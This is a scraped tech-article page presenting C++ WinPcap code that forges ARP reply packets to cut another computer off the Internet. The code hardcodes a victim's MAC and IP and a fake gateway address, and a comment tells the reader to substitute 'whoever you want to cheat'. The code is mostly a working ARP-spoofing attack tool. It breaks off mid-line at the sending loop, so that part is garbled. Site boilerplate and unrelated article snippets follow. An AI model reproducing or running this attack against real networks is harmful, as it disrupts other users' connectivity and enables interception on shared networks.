In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-27 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
Through the other party's mac address and ip address with the program to achieve other computers to block the Internet, the following is to achieve the code:
// WinpCap Test. cpp: Defines the entry point for the console application.
//
#include "stdafx.h"
#include
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//Adapter list
pcap_if_t * adapter;
pcap_t * adapterHandle;//Adapter handle
u_char packet[ 1020 ]; //Data packet to be sent
char errorBuffer[ PCAP_ERRBUF_SIZE ];//error message buffer
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//Retrieves all network adapters connected to the machine
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//No adapters exist
printf( "\nNo adapters found! Make sure WinPcap is installed.\ n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//Traverse input adapter information (name and description information)
printf( "\n%d.% s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//Select adapter
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber
< 1 || adapterNumber >crtAdapter )
{
printf( "\nAdapter number out of range.\ n" );
pcap_freealldevs( allAdapters );//release adapter list
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter
< adapterNumber - 1; crtAdapter++ ) adapter = adapter->next;
//Open the specified adapter
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//specified adapter failed to open
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
//release adapter list
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//release adapter list
//Create data packets
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; //mac address of the cheated computer
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; //own mac address
packet[12] = 0x08; packet[13] = 0x06; //Ethernet encapsulation arp protocol (not moved)
packet[14] = 0x00; packet[15] = 0x01; // arp Field 1: represents Ethernet
packet[16] = 0x08; packet[17] = 0x00; // arp Field 2: Represents IP protocol
packet[18] = 0x06; // arp Field 3: represents the length of the second layer address
packet[19] = 0x04; // arp Field 4: represents the length of the third layer address
packet[20] = 0x00; packet[21] = 0x02; // arp Field 5: This is an arp response message; the following are arp fields 6, 7, 8, 9
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; //Fake gateway address,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; //ip of gateway, here is 172.28.15.254 (do not change it in this lab)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; //mac address of the cheated computer
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; //IP address of the cheated computer, here is 172.28.15.19 (change it to the IP of whoever you want to cheat)
//send data packets
for(int ssde=0;ssde
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.